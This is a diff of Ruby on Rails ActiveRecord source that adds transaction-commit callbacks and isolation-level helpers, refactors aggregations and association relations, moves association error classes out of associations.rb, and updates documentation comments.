+  # Registers a block to be called after all the current transactions have been
+  # committed.
+  #
+  # If there is no currently open transaction, the block is called immediately.
+  #
+  # If there are multiple nested transactions, the block is called after the outermost one
+  # has been committed,
+  #
+  # If any of the currently open transactions is rolled back, the block is never called.
+  #
+  # If multiple transactions are open across multiple databases, the block will be invoked
+  # if and once all of them have been committed. But note that nesting transactions across
+  # two distinct databases is a sharding anti-pattern that comes with a world of hurts.
+  def self.after_all_transactions_commit(&block)
+    open_transactions = all_open_transactions
+
+    if open_transactions.empty?
+      yield
+    elsif open_transactions.size == 1
+      open_transactions.first.after_commit(&block)
+    else
+      count = open_transactions.size
+      callback = -> do
+        count -= 1
+        block.call if count.zero?
+      end
+      open_transactions.each do |t|
+        t.after_commit(&callback)
+      end
+      open_transactions = nil # rubocop:disable Lint/UselessAssignment avoid holding it in the closure
+    end
+  end
+
+  def self.all_open_transactions # :nodoc:
+    open_transactions = []
+    Base.connection_handler.each_connection_pool do |pool|
+      if active_connection = pool.active_connection
+        current_transaction = active_connection.current_transaction
+
+        if current_transaction.open? && current_transaction.joinable?
+          open_transactions << current_transaction
+        end
+      end
+    end
+    open_transactions
+  end
+
+  def self.default_transaction_isolation_level=(isolation_level) # :nodoc:
+    ActiveSupport::IsolatedExecutionState[:active_record_transaction_isolation] = isolation_level
+  end
+
+  def self.default_transaction_isolation_level # :nodoc:
+    ActiveSupport::IsolatedExecutionState[:active_record_transaction_isolation]
+  end
+
+  # Sets a transaction isolation level for all connection pools within the block.
+  def self.with_transaction_isolation_level(isolation_level, &block)
+    original_level = self.default_transaction_isolation_level
+    self.default_transaction_isolation_level = isolation_level
+    yield
+  ensure
+    self.default_transaction_isolation_level = original_level
   end
 end
 
@@ -177,5 +628,10 @@ def self.eager_load!
 end
 
 ActiveSupport.on_load(:i18n) do
-  I18n.load_path << File.dirname(__FILE__) + "/active_record/locale/en.yml"
+  I18n.load_path << File.expand_path("active_record/locale/en.yml", __dir__)
 end
+
+YAML.load_tags["!ruby/object:ActiveRecord::AttributeSet"] = "ActiveModel::AttributeSet"
+YAML.load_tags["!ruby/object:ActiveRecord::Attribute::FromDatabase"] = "ActiveModel::Attribute::FromDatabase"
+YAML.load_tags["!ruby/object:ActiveRecord::LazyAttributeHash"] = "ActiveModel::LazyAttributeHash"
+YAML.load_tags["!ruby/object:ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter::MysqlString"] = "ActiveRecord::Type::String"
diff --git a/activerecord/lib/active_record/aggregations.rb b/activerecord/lib/active_record/aggregations.rb
index 10cbd5429cd9f..64f91f3b6722f 100644
--- a/activerecord/lib/active_record/aggregations.rb
+++ b/activerecord/lib/active_record/aggregations.rb
@@ -1,10 +1,10 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   # See ActiveRecord::Aggregations::ClassMethods for documentation
   module Aggregations
-    extend ActiveSupport::Concern
-
     def initialize_dup(*) # :nodoc:
-      @aggregation_cache = {}
+      @aggregation_cache = @aggregation_cache.dup
       super
     end
 
@@ -14,16 +14,17 @@ def reload(*) # :nodoc:
     end
 
     private
-
       def clear_aggregation_cache
         @aggregation_cache.clear if persisted?
       end
 
       def init_internals
-        @aggregation_cache = {}
         super
+        @aggregation_cache = {}
       end
 
+      # = Active Record \Aggregations
+      #
       # Active Record implements aggregation through a macro-like class method called #composed_of
       # for representing attributes as value objects. It expresses relationships like "Account [is]
       # composed of Money [among other things]" or "Person [is] composed of [an] address". Each call
@@ -33,8 +34,8 @@ def init_internals
       # the database).
       #
       #   class Customer < ActiveRecord::Base
-      #     composed_of :balance, class_name: "Money", mapping: %w(amount currency)
-      #     composed_of :address, mapping: [ %w(address_street street), %w(address_city city) ]
+      #     composed_of :balance, class_name: "Money", mapping: { balance: :amount }
+      #     composed_of :address, mapping: { address_street: :street, address_city: :city }
       #   end
       #
       # The customer class now has the following methods to manipulate the value objects:
@@ -142,7 +143,7 @@ def init_internals
       # converted to an instance of value class if necessary.
       #
       # For example, the +NetworkResource+ model has +network_address+ and +cidr_range+ attributes that should be
-      # aggregated using the +NetAddr::CIDR+ value class (http://www.rubydoc.info/gems/netaddr/1.5.0/NetAddr/CIDR).
+      # aggregated using the +NetAddr::CIDR+ value class (https://www.rubydoc.info/gems/netaddr/1.5.0/NetAddr/CIDR).
       # The constructor for the value class is called +create+ and it expects a CIDR address string as a parameter.
       # New values can be assigned to the value object using either another +NetAddr::CIDR+ object, a string
       # or an array. The <tt>:constructor</tt> and <tt>:converter</tt> options can be used to meet
@@ -151,7 +152,7 @@ def init_internals
       #   class NetworkResource < ActiveRecord::Base
       #     composed_of :cidr,
       #                 class_name: 'NetAddr::CIDR',
-      #                 mapping: [ %w(network_address network), %w(cidr_range bits) ],
+      #                 mapping: { network_address: :network, cidr_range: :bits },
       #                 allow_nil: true,
       #                 constructor: Proc.new { |network_address, cidr_range| NetAddr::CIDR.create("#{network_address}/#{cidr_range}") },
       #                 converter: Proc.new { |value| NetAddr::CIDR.create(value.is_a?(Array) ? value.join('/') : value) }
@@ -175,9 +176,9 @@ def init_internals
       #
       # Once a #composed_of relationship is specified for a model, records can be loaded from the database
       # by specifying an instance of the value object in the conditions hash. The following example
-      # finds all customers with +balance_amount+ equal to 20 and +balance_currency+ equal to "USD":
+      # finds all customers with +address_street+ equal to "May Street" and +address_city+ equal to "Chicago":
       #
-      #   Customer.where(balance: Money.new(20, "USD"))
+      #   Customer.where(address: Address.new("May Street", "Chicago"))
       #
       module ClassMethods
         # Adds reader and writer methods for manipulating a value object:
@@ -189,10 +190,10 @@ module ClassMethods
         #   to the Address class, but if the real class name is +CompanyAddress+, you'll have to specify it
         #   with this option.
         # * <tt>:mapping</tt> - Specifies the mapping of entity attributes to attributes of the value
-        #   object. Each mapping is represented as an array where the first item is the name of the
-        #   entity attribute and the second item is the name of the attribute in the value object. The
+        #   object. Each mapping is represented as a key-value pair where the key is the name of the
+        #   entity attribute and the value is the name of the attribute in the value object. The
         #   order in which mappings are defined determines the order in which attributes are sent to the
-        #   value class constructor.
+        #   value class constructor. The mapping can be written as a hash or as an array of pairs.
         # * <tt>:allow_nil</tt> - Specifies that the value object will not be instantiated when all mapped
         #   attributes are +nil+. Setting the value object to +nil+ has the effect of writing +nil+ to all
         #   mapped attributes.
@@ -209,21 +210,25 @@ module ClassMethods
         #   can return +nil+ to skip the assignment.
         #
         # Option examples:
-        #   composed_of :temperature, mapping: %w(reading celsius)
-        #   composed_of :balance, class_name: "Money", mapping: %w(balance amount),
-        #                         converter: Proc.new { |balance| balance.to_money }
+        #   composed_of :temperature, mapping: { reading: :celsius }
+        #   composed_of :balance, class_name: "Money", mapping: { balance: :amount }
+        #   composed_of :address, mapping: { address_street: :street, address_city: :city }
         #   composed_of :address, mapping: [ %w(address_street street), %w(address_city city) ]
         #   composed_of :gps_location
         #   composed_of :gps_location, allow_nil: true
         #   composed_of :ip_address,
         #               class_name: 'IPAddr',
-        #               mapping: %w(ip to_i),
+        #               mapping: { ip: :to_i },
         #               constructor: Proc.new { |ip| IPAddr.new(ip, Socket::AF_INET) },
         #               converter: Proc.new { |ip| ip.is_a?(Integer) ? IPAddr.new(ip, Socket::AF_INET) : IPAddr.new(ip.to_s) }
         #
         def composed_of(part_id, options = {})
           options.assert_valid_keys(:class_name, :mapping, :allow_nil, :constructor, :converter)
 
+          unless self < Aggregations
+            include Aggregations
+          end
+
           name        = part_id.id2name
           class_name  = options[:class_name]  || name.camelize
           mapping     = options[:mapping]     || [ name, name ]
@@ -242,12 +247,12 @@ def composed_of(part_id, options = {})
         private
           def reader_method(name, class_name, mapping, allow_nil, constructor)
             define_method(name) do
-              if @aggregation_cache[name].nil? && (!allow_nil || mapping.any? { |key, _| !_read_attribute(key).nil? })
-                attrs = mapping.collect { |key, _| _read_attribute(key) }
+              if @aggregation_cache[name].nil? && (!allow_nil || mapping.any? { |key, _| !read_attribute(key).nil? })
+                attrs = mapping.collect { |key, _| read_attribute(key) }
                 object = constructor.respond_to?(:call) ?
                   constructor.call(*attrs) :
                   class_name.constantize.send(constructor, *attrs)
-                @aggregation_cache[name] = object
+                @aggregation_cache[name] = object.freeze
               end
               @aggregation_cache[name]
             end
@@ -262,18 +267,18 @@ def writer_method(name, class_name, mapping, allow_nil, converter)
               end
 
               hash_from_multiparameter_assignment = part.is_a?(Hash) &&
-                part.each_key.all? { |k| k.is_a?(Integer) }
+                part.keys.all?(Integer)
               if hash_from_multiparameter_assignment
                 raise ArgumentError unless part.size == part.each_key.max
                 part = klass.new(*part.sort.map(&:last))
               end
 
               if part.nil? && allow_nil
-                mapping.each { |key, _| self[key] = nil }
+                mapping.each { |key, _| write_attribute(key, nil) }
                 @aggregation_cache[name] = nil
               else
-                mapping.each { |key, value| self[key] = part.send(value) }
-                @aggregation_cache[name] = part.freeze
+                mapping.each { |key, value| write_attribute(key, part.send(value)) }
+                @aggregation_cache[name] = part.dup.freeze
               end
             end
           end
diff --git a/activerecord/lib/active_record/association_relation.rb b/activerecord/lib/active_record/association_relation.rb
index de2d03cd0b93c..f8bce8b34078c 100644
--- a/activerecord/lib/active_record/association_relation.rb
+++ b/activerecord/lib/active_record/association_relation.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 module ActiveRecord
-  class AssociationRelation < Relation
-    def initialize(klass, table, predicate_builder, association)
-      super(klass, table, predicate_builder)
+  class AssociationRelation < Relation # :nodoc:
+    def initialize(klass, association, **)
+      super(klass)
       @association = association
     end
 
@@ -13,25 +15,36 @@ def ==(other)
       other == records
     end
 
-    def build(*args, &block)
-      scoping { @association.build(*args, &block) }
-    end
-    alias new build
+    %w(insert insert_all insert! insert_all! upsert upsert_all).each do |method|
+      class_eval <<~RUBY, __FILE__, __LINE__ + 1
+        def #{method}(...)
+          if @association.reflection.through_reflection?
+            raise ArgumentError, "Bulk insert or upsert is currently not supported for has_many through association"
+          end
 
-    def create(*args, &block)
-      scoping { @association.create(*args, &block) }
-    end
-
-    def create!(*args, &block)
-      scoping { @association.create!(*args, &block) }
+          super
+        end
+      RUBY
     end
 
     private
+      def _new(attributes, &block)
+        @association.build(attributes, &block)
+      end
+
+      def _create(attributes, &block)
+        @association.create(attributes, &block)
+      end
+
+      def _create!(attributes, &block)
+        @association.create!(attributes, &block)
+      end
 
       def exec_queries
-        super do |r|
-          @association.set_inverse_instance r
-          yield r if block_given?
+        super do |record|
+          @association.set_inverse_instance_from_queries(record)
+          @association.set_strict_loading(record)
+          yield record if block_given?
         end
       end
   end
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
index 4606c91ffd344..6613736fd8e54 100644
--- a/activerecord/lib/active_record/associations.rb
+++ b/activerecord/lib/active_record/associations.rb
@@ -1,215 +1,6 @@
-require "active_support/core_ext/enumerable"
-require "active_support/core_ext/string/conversions"
-require "active_support/core_ext/module/remove_method"
-require "active_record/errors"
+# frozen_string_literal: true
 
 module ActiveRecord
-  class AssociationNotFoundError < ConfigurationError #:nodoc:
-    def initialize(record = nil, association_name = nil)
-      if record && association_name
-        super("Association named '#{association_name}' was not found on #{record.class.name}; perhaps you misspelled it?")
-      else
-        super("Association was not found.")
-      end
-    end
-  end
-
-  class InverseOfAssociationNotFoundError < ActiveRecordError #:nodoc:
-    def initialize(reflection = nil, associated_class = nil)
-      if reflection
-        super("Could not find the inverse association for #{reflection.name} (#{reflection.options[:inverse_of].inspect} in #{associated_class.nil? ? reflection.class_name : associated_class.name})")
-      else
-        super("Could not find the inverse association.")
-      end
-    end
-  end
-
-  class HasManyThroughAssociationNotFoundError < ActiveRecordError #:nodoc:
-    def initialize(owner_class_name = nil, reflection = nil)
-      if owner_class_name && reflection
-        super("Could not find the association #{reflection.options[:through].inspect} in model #{owner_class_name}")
-      else
-        super("Could not find the association.")
-      end
-    end
-  end
-
-  class HasManyThroughAssociationPolymorphicSourceError < ActiveRecordError #:nodoc:
-    def initialize(owner_class_name = nil, reflection = nil, source_reflection = nil)
-      if owner_class_name && reflection && source_reflection
-        super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' on the polymorphic object '#{source_reflection.class_name}##{source_reflection.name}' without 'source_type'. Try adding 'source_type: \"#{reflection.name.to_s.classify}\"' to 'has_many :through' definition.")
-      else
-        super("Cannot have a has_many :through association.")
-      end
-    end
-  end
-
-  class HasManyThroughAssociationPolymorphicThroughError < ActiveRecordError #:nodoc:
-    def initialize(owner_class_name = nil, reflection = nil)
-      if owner_class_name && reflection
-        super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' which goes through the polymorphic association '#{owner_class_name}##{reflection.through_reflection.name}'.")
-      else
-        super("Cannot have a has_many :through association.")
-      end
-    end
-  end
-
-  class HasManyThroughAssociationPointlessSourceTypeError < ActiveRecordError #:nodoc:
-    def initialize(owner_class_name = nil, reflection = nil, source_reflection = nil)
-      if owner_class_name && reflection && source_reflection
-        super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' with a :source_type option if the '#{reflection.through_reflection.class_name}##{source_reflection.name}' is not polymorphic. Try removing :source_type on your association.")
-      else
-        super("Cannot have a has_many :through association.")
-      end
-    end
-  end
-
-  class HasOneThroughCantAssociateThroughCollection < ActiveRecordError #:nodoc:
-    def initialize(owner_class_name = nil, reflection = nil, through_reflection = nil)
-      if owner_class_name && reflection && through_reflection
-        super("Cannot have a has_one :through association '#{owner_class_name}##{reflection.name}' where the :through association '#{owner_class_name}##{through_reflection.name}' is a collection. Specify a has_one or belongs_to association in the :through option instead.")
-      else
-        super("Cannot have a has_one :through association.")
-      end
-    end
-  end
-
-  class HasOneAssociationPolymorphicThroughError < ActiveRecordError #:nodoc:
-    def initialize(owner_class_name = nil, reflection = nil)
-      if owner_class_name && reflection
-        super("Cannot have a has_one :through association '#{owner_class_name}##{reflection.name}' which goes through the polymorphic association '#{owner_class_name}##{reflection.through_reflection.name}'.")
-      else
-        super("Cannot have a has_one :through association.")
-      end
-    end
-  end
-
-  class HasManyThroughSourceAssociationNotFoundError < ActiveRecordError #:nodoc:
-    def initialize(reflection = nil)
-      if reflection
-        through_reflection      = reflection.through_reflection
-        source_reflection_names = reflection.source_reflection_names
-        source_associations     = reflection.through_reflection.klass._reflections.keys
-        super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence(two_words_connector: ' or ', last_word_connector: ', or ', locale: :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(two_words_connector: ' or ', last_word_connector: ', or ', locale: :en)}?")
-      else
-        super("Could not find the source association(s).")
-      end
-    end
-  end
-
-  class HasManyThroughOrderError < ActiveRecordError #:nodoc:
-    def initialize(owner_class_name = nil, reflection = nil, through_reflection = nil)
-      if owner_class_name && reflection && through_reflection
-        super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' which goes through '#{owner_class_name}##{through_reflection.name}' before the through association is defined.")
-      else
-        super("Cannot have a has_many :through association before the through association is defined.")
-      end
-    end
-  end
-
-  class ThroughCantAssociateThroughHasOneOrManyReflection < ActiveRecordError #:nodoc:
-    def initialize(owner = nil, reflection = nil)
-      if owner && reflection
-        super("Cannot modify association '#{owner.class.name}##{reflection.name}' because the source reflection class '#{reflection.source_reflection.class_name}' is associated to '#{reflection.through_reflection.class_name}' via :#{reflection.source_reflection.macro}.")
-      else
-        super("Cannot modify association.")
-      end
-    end
-  end
-
-  class AmbiguousSourceReflectionForThroughAssociation < ActiveRecordError # :nodoc:
-    def initialize(klass, macro, association_name, options, possible_sources)
-      example_options = options.dup
-      example_options[:source] = possible_sources.first
-
-      super("Ambiguous source reflection for through association. Please " \
-            "specify a :source directive on your declaration like:\n" \
-            "\n" \
-            "  class #{klass} < ActiveRecord::Base\n" \
-            "    #{macro} :#{association_name}, #{example_options}\n" \
-            "  end"
-           )
-    end
-  end
-
-  class HasManyThroughCantAssociateThroughHasOneOrManyReflection < ThroughCantAssociateThroughHasOneOrManyReflection #:nodoc:
-  end
-
-  class HasOneThroughCantAssociateThroughHasOneOrManyReflection < ThroughCantAssociateThroughHasOneOrManyReflection #:nodoc:
-  end
-
-  class HasManyThroughCantAssociateNewRecords < ActiveRecordError #:nodoc:
-    def initialize(owner = nil, reflection = nil)
-      if owner && reflection
-        super("Cannot associate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to create the has_many :through record associating them.")
-      else
-        super("Cannot associate new records.")
-      end
-    end
-  end
-
-  class HasManyThroughCantDissociateNewRecords < ActiveRecordError #:nodoc:
-    def initialize(owner = nil, reflection = nil)
-      if owner && reflection
-        super("Cannot dissociate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to delete the has_many :through record associating them.")
-      else
-        super("Cannot dissociate new records.")
-      end
-    end
-  end
-
-  class ThroughNestedAssociationsAreReadonly < ActiveRecordError #:nodoc:
-    def initialize(owner = nil, reflection = nil)
-      if owner && reflection
-        super("Cannot modify association '#{owner.class.name}##{reflection.name}' because it goes through more than one other association.")
-      else
-        super("Through nested associations are read-only.")
-      end
-    end
-  end
-
-  class HasManyThroughNestedAssociationsAreReadonly < ThroughNestedAssociationsAreReadonly #:nodoc:
-  end
-
-  class HasOneThroughNestedAssociationsAreReadonly < ThroughNestedAssociationsAreReadonly #:nodoc:
-  end
-
-  # This error is raised when trying to eager load a polymorphic association using a JOIN.
-  # Eager loading polymorphic associations is only possible with
-  # {ActiveRecord::Relation#preload}[rdoc-ref:QueryMethods#preload].
-  class EagerLoadPolymorphicError < ActiveRecordError
-    def initialize(reflection = nil)
-      if reflection
-        super("Cannot eagerly load the polymorphic association #{reflection.name.inspect}")
-      else
-        super("Eager load polymorphic error.")
-      end
-    end
-  end
-
-  class ReadOnlyAssociation < ActiveRecordError #:nodoc:
-    def initialize(reflection = nil)
-      if reflection
-        super("Cannot add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.")
-      else
-        super("Read-only reflection error.")
-      end
-    end
-  end
-
-  # This error is raised when trying to destroy a parent instance in N:1 or 1:1 associations
-  # (has_many, has_one) when there is at least 1 child associated instance.
-  # ex: if @project.tasks.size > 0, DeleteRestrictionError will be raised when trying to destroy @project
-  class DeleteRestrictionError < ActiveRecordError #:nodoc:
-    def initialize(name = nil)
-      if name
-        super("Cannot delete record because of dependent #{name}")
-      else
-        super("Delete restriction error.")
-      end
-    end
-  end
-
   # See ActiveRecord::Associations::ClassMethods for documentation.
   module Associations # :nodoc:
     extend ActiveSupport::Autoload
@@ -222,16 +13,9 @@ module Associations # :nodoc:
     autoload :CollectionAssociation
     autoload :ForeignAssociation
     autoload :CollectionProxy
-
-    autoload :BelongsToAssociation
-    autoload :BelongsToPolymorphicAssociation
-    autoload :HasManyAssociation
-    autoload :HasManyThroughAssociation
-    autoload :HasOneAssociation
-    autoload :HasOneThroughAssociation
     autoload :ThroughAssociation
 
-    module Builder #:nodoc:
+    module Builder # :nodoc:
       autoload :Association,           "active_record/associations/builder/association"
       autoload :SingularAssociation,   "active_record/associations/builder/singular_association"
       autoload :CollectionAssociation, "active_record/associations/builder/collection_association"
@@ -243,19 +27,30 @@ module Builder #:nodoc:
     end
 
     eager_autoload do
+      autoload :BelongsToAssociation
+      autoload :BelongsToPolymorphicAssociation
+      autoload :HasManyAssociation
+      autoload :HasManyThroughAssociation
+      autoload :HasOneAssociation
+      autoload :HasOneThroughAssociation
+
       autoload :Preloader
       autoload :JoinDependency
       autoload :AssociationScope
+      autoload :DisableJoinsAssociationScope
       autoload :AliasTracker
+
+      autoload :Deprecation
     end
 
     def self.eager_load!
       super
       Preloader.eager_load!
+      JoinDependency.eager_load!
     end
 
     # Returns the association instance for the given name, instantiating it if it doesn't already exist
-    def association(name) #:nodoc:
+    def association(name) # :nodoc:
       association = association_instance_get(name)
 
       if association.nil?
@@ -269,7 +64,7 @@ def association(name) #:nodoc:
       association
     end
 
-    def association_cached?(name) # :nodoc
+    def association_cached?(name) # :nodoc:
       @association_cache.key?(name)
     end
 
@@ -278,25 +73,15 @@ def initialize_dup(*) # :nodoc:
       super
     end
 
-    def reload(*) # :nodoc:
-      clear_association_cache
-      super
-    end
-
     private
-      # Clears out the association cache.
-      def clear_association_cache
-        @association_cache.clear if persisted?
-      end
-
       def init_internals
-        @association_cache = {}
         super
+        @association_cache = {}
       end
 
       # Returns the specified association instance if it exists, +nil+ otherwise.
       def association_instance_get(name)
-        @association_cache[name]
+        (@association_cache ||= {})[name]
       end
 
       # Set the specified association instance.
@@ -304,6 +89,16 @@ def association_instance_set(name, association)
         @association_cache[name] = association
       end
 
+      def deprecated_associations_api_guard(association, method_name)
+        Deprecation.guard(association.reflection) { "the method #{method_name} was invoked" }
+      end
+
+      def report_deprecated_association(reflection, context:)
+        Deprecation.report(reflection, context: context)
+      end
+
+      # = Active Record \Associations
+      #
       # \Associations are a set of macro-like class methods for tying objects together through
       # foreign keys. They express relationships like "Project has one Project Manager"
       # or "Project belongs to a Portfolio". Each macro adds a number of methods to the
@@ -320,39 +115,61 @@ def association_instance_set(name, association)
       #
       # The project class now has the following methods (and more) to ease the traversal and
       # manipulation of its relationships:
-      # * <tt>Project#portfolio, Project#portfolio=(portfolio), Project#portfolio.nil?</tt>
-      # * <tt>Project#project_manager, Project#project_manager=(project_manager), Project#project_manager.nil?,</tt>
-      # * <tt>Project#milestones.empty?, Project#milestones.size, Project#milestones, Project#milestones<<(milestone),</tt>
-      #   <tt>Project#milestones.delete(milestone), Project#milestones.destroy(milestone), Project#milestones.find(milestone_id),</tt>
-      #   <tt>Project#milestones.build, Project#milestones.create</tt>
-      # * <tt>Project#categories.empty?, Project#categories.size, Project#categories, Project#categories<<(category1),</tt>
-      #   <tt>Project#categories.delete(category1), Project#categories.destroy(category1)</tt>
+      #
+      #   project = Project.first
+      #   project.portfolio
+      #   project.portfolio = Portfolio.first
+      #   project.reload_portfolio
+      #
+      #   project.project_manager
+      #   project.project_manager = ProjectManager.first
+      #   project.reload_project_manager
+      #
+      #   project.milestones.empty?
+      #   project.milestones.size
+      #   project.milestones
+      #   project.milestones << Milestone.first
+      #   project.milestones.delete(Milestone.first)
+      #   project.milestones.destroy(Milestone.first)
+      #   project.milestones.find(Milestone.first.id)
+      #   project.milestones.build
+      #   project.milestones.create
+      #
+      #   project.categories.empty?
+      #   project.categories.size
+      #   project.categories
+      #   project.categories << Category.first
+      #   project.categories.delete(category1)
+      #   project.categories.destroy(category1)
       #
       # === A word of warning
       #
       # Don't create associations that have the same name as {instance methods}[rdoc-ref:ActiveRecord::Core] of
-      # <tt>ActiveRecord::Base</tt>. Since the association adds a method with that name to
-      # its model, using an association with the same name as one provided by <tt>ActiveRecord::Base</tt> will override the method inherited through <tt>ActiveRecord::Base</tt> and will break things.
-      # For instance, +attributes+ and +connection+ would be bad choices for association names, because those names already exist in the list of <tt>ActiveRecord::Base</tt> instance methods.
+      # +ActiveRecord::Base+. Since the association adds a method with that name to
+      # its model, using an association with the same name as one provided by +ActiveRecord::Base+ will override the method inherited through +ActiveRecord::Base+ and will break things.
+      # For instance, +attributes+ and +connection+ would be bad choices for association names, because those names already exist in the list of +ActiveRecord::Base+ instance methods.
       #
       # == Auto-generated methods
-      # See also Instance Public methods below for more details.
+      # See also "Instance Public methods" below ( from #belongs_to ) for more details.
       #
       # === Singular associations (one-to-one)
       #                                     |            |  belongs_to  |
       #   generated methods                 | belongs_to | :polymorphic | has_one
       #   ----------------------------------+------------+--------------+---------
-      #   other(force_reload=false)         |     X      |      X       |    X
+      #   other                             |     X      |      X       |    X
       #   other=(other)                     |     X      |      X       |    X
       #   build_other(attributes={})        |     X      |              |    X
       #   create_other(attributes={})       |     X      |              |    X
       #   create_other!(attributes={})      |     X      |              |    X
+      #   reload_other                      |     X      |      X       |    X
+      #   other_changed?                    |     X      |      X       |
+      #   other_previously_changed?         |     X      |      X       |
       #
       # === Collection associations (one-to-many / many-to-many)
       #                                     |       |          | has_many
       #   generated methods                 | habtm | has_many | :through
       #   ----------------------------------+-------+----------+----------
-      #   others(force_reload=false)        |   X   |    X     |    X
+      #   others                            |   X   |    X     |    X
       #   others=(other,other,...)          |   X   |    X     |    X
       #   other_ids                         |   X   |    X     |    X
       #   other_ids=(id,id,...)             |   X   |    X     |    X
@@ -376,6 +193,7 @@ def association_instance_set(name, association)
       #   others.exists?                    |   X   |    X     |    X
       #   others.distinct                   |   X   |    X     |    X
       #   others.reset                      |   X   |    X     |    X
+      #   others.reload                     |   X   |    X     |    X
       #
       # === Overriding generated methods
       #
@@ -399,7 +217,7 @@ def association_instance_set(name, association)
       #
       # == Cardinality and associations
       #
-      # Active Record associations can be used to describe one-to-one, one-to-many and many-to-many
+      # Active Record associations can be used to describe one-to-one, one-to-many, and many-to-many
       # relationships between models. Each model uses an association to describe its role in
       # the relation. The #belongs_to association is always used in the model that has
       # the foreign key.
@@ -479,14 +297,14 @@ def association_instance_set(name, association)
       # The tables for these classes could look something like:
       #
       #   CREATE TABLE users (
-      #     id int NOT NULL auto_increment,
-      #     account_id int default NULL,
+      #     id bigint NOT NULL auto_increment,
+      #     account_id bigint default NULL,
       #     name varchar default NULL,
       #     PRIMARY KEY  (id)
       #   )
       #
       #   CREATE TABLE accounts (
-      #     id int NOT NULL auto_increment,
+      #     id bigint NOT NULL auto_increment,
       #     name varchar default NULL,
       #     PRIMARY KEY  (id)
       #   )
@@ -553,9 +371,11 @@ def association_instance_set(name, association)
       #     has_many :birthday_events, ->(user) { where(starts_on: user.birthday) }, class_name: 'Event'
       #   end
       #
-      # Note: Joining, eager loading and preloading of these associations is not fully possible.
-      # These operations happen before instance creation and the scope will be called with a +nil+ argument.
-      # This can lead to unexpected behavior and is deprecated.
+      # Note: Joining or eager loading such associations is not possible because
+      # those operations happen before instance creation. Such associations
+      # _can_ be preloaded, but doing so will perform N+1 queries because there
+      # will be a different scope for each record (similar to preloading
+      # polymorphic scopes).
       #
       # == Association callbacks
       #
@@ -563,22 +383,53 @@ def association_instance_set(name, association)
       # you can also define callbacks that get triggered when you add an object to or remove an
       # object from an association collection.
       #
-      #   class Project
-      #     has_and_belongs_to_many :developers, after_add: :evaluate_velocity
+      #   class Firm < ActiveRecord::Base
+      #     has_many :clients,
+      #              dependent: :destroy,
+      #              after_add: :congratulate_client,
+      #              after_remove: :log_after_remove
+      #
+      #     def congratulate_client(client)
+      #       # ...
+      #     end
       #
-      #     def evaluate_velocity(developer)
-      #       ...
+      #     def log_after_remove(client)
+      #       # ...
       #     end
       #   end
       #
+      # Callbacks can be defined in three ways:
+      #
+      # 1. A symbol that references a method defined on the class with the
+      #    associated collection. For example, <tt>after_add: :congratulate_client</tt>
+      #    invokes <tt>Firm#congratulate_client(client)</tt>.
+      # 2. A callable with a signature that accepts both the record with the
+      #    associated collection and the record being added or removed. For
+      #    example, <tt>after_add: ->(firm, client) { ... }</tt>.
+      # 3. An object that responds to the callback name. For example, passing
+      #    <tt>after_add: CallbackObject.new</tt> invokes <tt>CallbackObject#after_add(firm,
+      #    client)</tt>.
+      #
       # It's possible to stack callbacks by passing them as an array. Example:
       #
-      #   class Project
-      #     has_and_belongs_to_many :developers,
-      #                             after_add: [:evaluate_velocity, Proc.new { |p, d| p.shipping_date = Time.now}]
+      #   class CallbackObject
+      #     def after_add(firm, client)
+      #       firm.log << "after_adding #{client.id}"
+      #     end
       #   end
       #
-      # Possible callbacks are: +before_add+, +after_add+, +before_remove+ and +after_remove+.
+      #   class Firm < ActiveRecord::Base
+      #     has_many :clients,
+      #              dependent: :destroy,
+      #              after_add: [
+      #                :congratulate_client,
+      #                -> (firm, client) { firm.log << "after_adding #{client.id}" },
+      #                CallbackObject.new
+      #              ],
+      #              after_remove: :log_after_remove
+      #   end
+      #
+      # Possible callbacks are: +before_add+, +after_add+, +before_remove+, and +after_remove+.
       #
       # If any of the +before_add+ callbacks throw an exception, the object will not be
       # added to the collection.
@@ -586,6 +437,18 @@ def association_instance_set(name, association)
       # Similarly, if any of the +before_remove+ callbacks throw an exception, the object
       # will not be removed from the collection.
       #
+      # Note: To trigger remove callbacks, you must use +destroy+ / +destroy_all+ methods. For example:
+      #
+      # * <tt>firm.clients.destroy(client)</tt>
+      # * <tt>firm.clients.destroy(*clients)</tt>
+      # * <tt>firm.clients.destroy_all</tt>
+      #
+      # +delete+ / +delete_all+ methods like the following do *not* trigger remove callbacks:
+      #
+      # * <tt>firm.clients.delete(client)</tt>
+      # * <tt>firm.clients.delete(*clients)</tt>
+      # * <tt>firm.clients.delete_all</tt>
+      #
       # == Association extensions
       #
       # The proxy objects that control the access to associations can be extended through anonymous
@@ -706,7 +569,7 @@ def association_instance_set(name, association)
       #   @group.avatars << Avatar.new   # this would work if User belonged_to Avatar rather than the other way around
       #   @group.avatars.delete(@group.avatars.last)  # so would this
       #
-      # == Setting Inverses
+      # === Setting Inverses
       #
       # If you are using a #belongs_to on the join model, it is a good idea to set the
       # <tt>:inverse_of</tt> option on the #belongs_to, which will mean that the following example
@@ -729,9 +592,10 @@ def association_instance_set(name, association)
       # inverse detection only works on #has_many, #has_one, and
       # #belongs_to associations.
       #
-      # Extra options on the associations, as defined in the
-      # <tt>AssociationReflection::INVALID_AUTOMATIC_INVERSE_OPTIONS</tt> constant, will
-      # also prevent the association's inverse from being found automatically.
+      # <tt>:foreign_key</tt> and <tt>:through</tt> options on the associations
+      # will also prevent the association's inverse from being found automatically,
+      # as will a custom scopes in some cases. See further details in the
+      # {Active Record Associations guide}[https://guides.rubyonrails.org/association_basics.html#bi-directional-associations].
       #
       # The automatic guessing of the inverse association uses a heuristic based
